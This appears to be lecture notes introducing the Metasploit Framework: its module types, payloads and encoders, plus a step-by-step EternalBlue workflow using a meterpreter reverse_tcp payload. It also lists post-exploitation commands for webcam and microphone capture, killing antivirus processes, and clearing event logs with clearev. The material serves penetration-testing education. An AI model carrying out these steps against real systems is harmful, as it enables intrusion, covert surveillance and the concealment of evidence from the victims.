🧠 Lecture 20 – Metasploit Framework

🔹 1. What is Metasploit?

Metasploit Framework (MSF) is an **open-source penetration testing platform** used by security professionals and ethical hackers to:

- Find vulnerabilities,
- Develop and test exploits,
- And perform **post-exploitation** tasks (like system control, privilege escalation, etc.).

📌 It's pre-installed in **Kali Linux** and also available for Windows and macOS.

🔹 2. Key Purpose of Metasploit

Metasploit helps you:

1. **Identify Vulnerabilities** → Using its auxiliary scanners.
2. **Exploit Vulnerabilities** → Using its built-in exploit modules.
3. **Execute Payloads** → Gain access and perform actions on the target system.
4. **Perform Post-Exploitation** → Maintain access, extract data, or test privilege escalation.

🔹 3. Structure of Metasploit

When you open Metasploit, it shows something like this:

[metasploit v6.3.43-dev]

+ -- --=[2376 exploits - 1232 auxiliary - 416 post]

+ -- --=[1388 payloads - 46 encoders - 11 nops]

+ -- --=[9 evasion]

Let’s understand each part:

Component	Purpose
Exploits	Codes that take advantage of a vulnerability in a target system to gain access.
Auxiliary Modules	Used for scanning, fuzzing, sniffing, and network discovery (non-exploit functions).
Post Modules	Used after a successful exploit — to collect information, maintain access, etc.
Payloads	Pieces of code executed on the target after exploitation (e.g., to open a remote shell).
Encoders	Encode payloads to avoid detection by antivirus or IDS/IPS.
Nops (No Operation)	Used to maintain code alignment and ensure stability of exploits.
Evasion Modules	Help bypass antivirus and intrusion detection systems.

🔹 4. What is an Exploit?

An **exploit** is a piece of code that **takes advantage of a vulnerability** in a system, service, or software.

- It allows the attacker to **execute commands**, **gain control**, or **perform unauthorized actions** on a target machine.
- Example: If Windows SMB service has a vulnerability (like **EternalBlue** on port 445), Metasploit can use that exploit to gain access.

👉 Command Example:

search smb

Then choose a specific exploit (e.g., exploit/windows/smb/ms17_010_eternalblue), and use:

use exploit/windows/smb/ms17_010_eternalblue

show options

set RHOSTS <target IP>

exploit

If successful, it will show:

meterpreter session 1 opened

That means you have successfully exploited the target system.

🔹 5. Auxiliary Modules

Auxiliary modules are non-exploit features used for:

- Scanning targets
- Enumerating users
- Detecting services
- Performing brute-force attacks
- Information gathering

📌 Example:

use auxiliary/scanner/smb/smb_version

show options

set RHOSTS <target IP>

run

This module scans the SMB version on the target system and tells whether it's **vulnerable**.

🔹 6. Payloads

A **payload** is the part of the exploit that actually **executes on the target** after successful exploitation.
It defines **what action** will be taken once the system is compromised.

Types of Payloads:

Type	Description
Single Payload	Contains all code needed to perform a specific action (small tasks like opening a calculator or creating a user).
Staged Payload	Sends payloads in parts (small chunks). First stage establishes connection, later stages send full code. Useful for large payloads or slow networks.
Meterpreter Payload	The most advanced payload. It gives **full remote access** to the target system with stealth mode. Allows file access, command execution, screenshot, webcam capture, etc.

🔹 7. Encoders

Encoders are used to **encode payloads** to:

- Avoid detection by **Antivirus**, **IDS (Intrusion Detection Systems)**, and **IPS (Intrusion Prevention Systems)**.
- Obfuscate the payload to make it **look harmless** to security software.

📌 Example encoders:
x86/shikata_ga_nai, x64/xor, etc.

🔹 8. NOPs (No Operation Instructions)

- NOPs are small “do nothing” instructions added to shellcode.
- Their purpose is to **stabilize exploits** by ensuring correct memory alignment.
- It helps prevent crashes when sending shellcode into memory.

🔹 9. Evasion Modules

These modules help **bypass antivirus or security detection** by modifying exploit behavior or encrypting the payload.

Used to:

- Change signatures of payloads.
- Evade network-level monitoring.

🔹 10. How to Start Metasploit

Step 1: Open Terminal

sudo msfconsole

This launches the Metasploit console.

Step 2: View Help Commands

help

Step 3: Search for Exploits

search rdp

search smb

Step 4: Show Available Payloads

show payloads

Step 5: Use a Module

use <module name>

Step 6: Configure Options

show options

set RHOSTS <target IP>

set RPORT <target port>

Step 7: Launch the Exploit

run

or

exploit

If successful, you'll see:

meterpreter session 1 opened

🔹 11. Vulnerable Ports Example

Port 445 (SMB – Server Message Block)

- Used for **file and printer sharing** in Windows.
- Very common vulnerability target (e.g., WannaCry ransomware used this).
- If port 445 is open → system could be **exploitable**.

📌 Example Command:

nmap -sV <target IP>

This command identifies:

- Which ports are open.
- What service versions are running.
  Then you can choose the corresponding Metasploit exploit.

🔹 12. Post Exploitation (Meterpreter Commands)

Once you get a **Meterpreter session**, you can interact with the target.

Common Commands:

Command	Purpose
help	Shows all available commands.

Command	Purpose
sysinfo	Displays target system information (OS, computer name, domain, user).
getuid	Shows the current logged-in user.
ps	Shows running processes on the target system.
kill <PID>	Terminates a specific process (e.g., antivirus process).
clearev	Clears event logs (application, system, and security logs).
screenshot	Takes a screenshot of the target system.
record_mic	Records from the target's microphone.
webcam_snap	Takes a photo from the target webcam.
shell	Opens a system shell (command prompt or terminal) on the target.

⚠️ Note: clearev clears most logs, but **security logs may still remain**, showing that log clearing was attempted.

🔹 13. Example Attack Workflow

Let's see a **typical penetration test using Metasploit**:

1. **Scan the network**
2. nmap -sV <target IP>

→ Finds open ports and services.

3. **Identify vulnerable service**
   → Example: SMB port 445 is open.
4. **Search exploit in Metasploit**
5. search smb
6. **Select exploit**
7. use exploit/windows/smb/ms17_010_eternalblue

8. **Set target IP**
9. set RHOSTS <target IP>
10. **Show and set payload**
11. show payloads
12. set payload windows/meterpreter/reverse_tcp
13. **Run exploit**
14. exploit
15. **Get access**
    → If successful, it opens **Meterpreter session 1**.
16. **Post exploitation**
17. sysinfo
18. screenshot
19. clearev

🔹 14. Common CVEs (Windows Example)

You can find recent vulnerabilities by searching on Google:

latest cve windows site:cvedetails.com

Or visit:

- https://www.cvedetails.com/
- https://nvd.nist.gov/vuln/search

Examples of famous Windows vulnerabilities:

CVE ID	Vulnerability	Affected OS
CVE-2017-0144	EternalBlue (SMB exploit)	Windows 7, 8
CVE-2019-0708	BlueKeep (RDP exploit)	Windows 7, Server 2008
CVE-2020-0796	SMBGhost	Windows 10, Server 2019

These can be used in Metasploit to test security in a **controlled lab environment**.

🔹 15. Legal and Ethical Reminder

- Metasploit is a **professional tool** — not for illegal hacking.
- You must have **explicit permission** from the system owner before testing.
- Always perform these activities in **virtual labs or isolated networks**.

🧩 16. Quick Summary Table

Component	Purpose / Use
sudo msfconsole	Start Metasploit
search smb	Search exploit
use exploit/...	Load an exploit
show options	View module options
set RHOSTS <IP>	Set target IP
set PAYLOAD <type>	Choose payload
exploit	Run exploit
sysinfo	Show system info
clearev	Clear event logs
kill <PID>	Kill a process
meterpreter	Post-exploitation shell

✅ **Final Takeaway:**

- Metasploit = **Complete framework** for vulnerability scanning, exploitation, and post-exploitation.
- Know the **workflow:** Recon → Scan → Exploit → Payload → Post-exploit → Clear Tracks.
- Practice only in **safe, legal environments (VM labs)**.
- Combine it with tools like **Nmap** and **Wireshark** for full network penetration testing.